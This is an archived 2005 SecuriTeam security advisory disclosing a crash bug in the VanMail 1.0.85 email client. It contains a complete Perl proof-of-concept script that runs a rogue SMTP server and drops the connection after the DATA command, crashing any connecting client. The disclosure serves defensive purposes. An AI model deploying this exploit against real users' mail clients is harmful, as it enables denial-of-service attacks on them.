[NT] VanMail DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 11/02/05

  • Next message: SecuriTeam: "[UNIX] fetchmail Configuration Information Disclosure"
    To: list@securiteam.com
    Date: 2 Nov 2005 09:23:19 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      VanMail DoS
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.vandaveer.com/vanmail/> VanMail is a powerful POP3/SMTP
    email client that puts you in control of what messages you want to
    receive."

    VanMail can be caused to crash when the response to SMTP DATA command is
    answered by the user closing the socket.

    DETAILS

    Vulnerable Systems:
     * VanMail version 1.0.85

    Exploit:
    #!/usr/bin/perl

    ###############################
    # Gss-IT Research And Security Labs #
    ###############################
    # #
    # www.GssIT.com #
    # #
    ###############################
    # VanMail Ver 1.0.85 Denial Of Service PoC #
    ###############################
    # Use This PoC For Educational Purposes Only #
    ###############################

    use IO::Socket;
    use Net::hostent;
    use strict;

    my $port = "25";

    my $server = IO::Socket::INET->new
    (
    LocalPort => $port,
    Type => SOCK_STREAM,
    Reuse => 1,
    Listen => 5
    ) or die "Couldn't create Smtp-Server.\n";

    while (my $client = $server->accept())
     {

     
     $client->autoflush(1);
     
     my $hostinfo = gethostbyaddr($client->peeraddr);
     printf "=>Connect from %s<=\n", $hostinfo->name ;
     print $client "220 Smtp-Server\r\n" ; # Banner
     
     while ( <$client> )
     
       {
         
         print $_;
         
         next unless /\S/;
         if (/quit|exit/i) { last; }
         elsif (/HELO/i ) { print $client "250 Smtp-Server\n"; }
         elsif (/MAIL FROM/i ) { print $client "250 Ok\n"; }
         elsif (/RCPT TO/i ) { print $client "250 Ok\n"; }
         elsif (/DATA/i ) { print $client "354 Start\n";
                                   close $client; } # <==
       }
       
       close $client;
       
     }

    #EoF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:gss_it@yahoo.com> Ziv Kamir.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] fetchmail Configuration Information Disclosure"

    Relevant Pages